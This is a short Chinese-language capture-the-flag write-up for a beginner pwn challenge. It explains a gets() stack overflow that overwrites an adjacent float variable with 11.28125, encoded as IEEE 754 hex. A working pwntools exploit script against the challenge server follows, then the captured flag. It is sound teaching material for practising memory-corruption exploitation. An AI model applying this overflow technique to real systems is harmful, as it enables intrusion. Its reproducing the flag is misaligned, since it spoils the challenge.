检查保护
IDA
函数主体很简单:初始化v2为0.0 ;输入数字存进v1,然后让v2和11.28125进行对比,相同则自动 cat flag
解题
gets函数明晃晃地摆在主函数里,准备对v1动手。
可以看到v1长度 0x30,下面v2的长度为 0x4
进去瞅瞅:v1和v2紧挨着,而且v1覆盖v2的空间
那exp思路就很清晰了,把v1到v2首地址之间的空间都填满,然后填进值11.28125,这样就能覆盖v2初始化的0.0 从而满足条件跳转猫flag。
Tips:
关于11.28125的输入:
浮点输入可以用16进制表示,具体标准参照IEE754:
IEEE二进制浮点数算术标准(IEEE 754)是20世纪80年代以来最广泛使用的浮点数运算标准,为许多CPU与浮点运算器所采用。
在C语言中,float通常是指IEEE单精确度(32位),而double是指双精确度(64位)
11.28125转换16进制表示如下:
EXP
from pwn import *
p=remote('node3.buuoj.cn',27898)
p.recvuntil("Let's guess the number.")
p.sendline('a'*(0x30-0x4)+p64(0x41348000))
p.interactive()
flag
flag{301a272a-7630-49fd-81b3-6537f6942cda}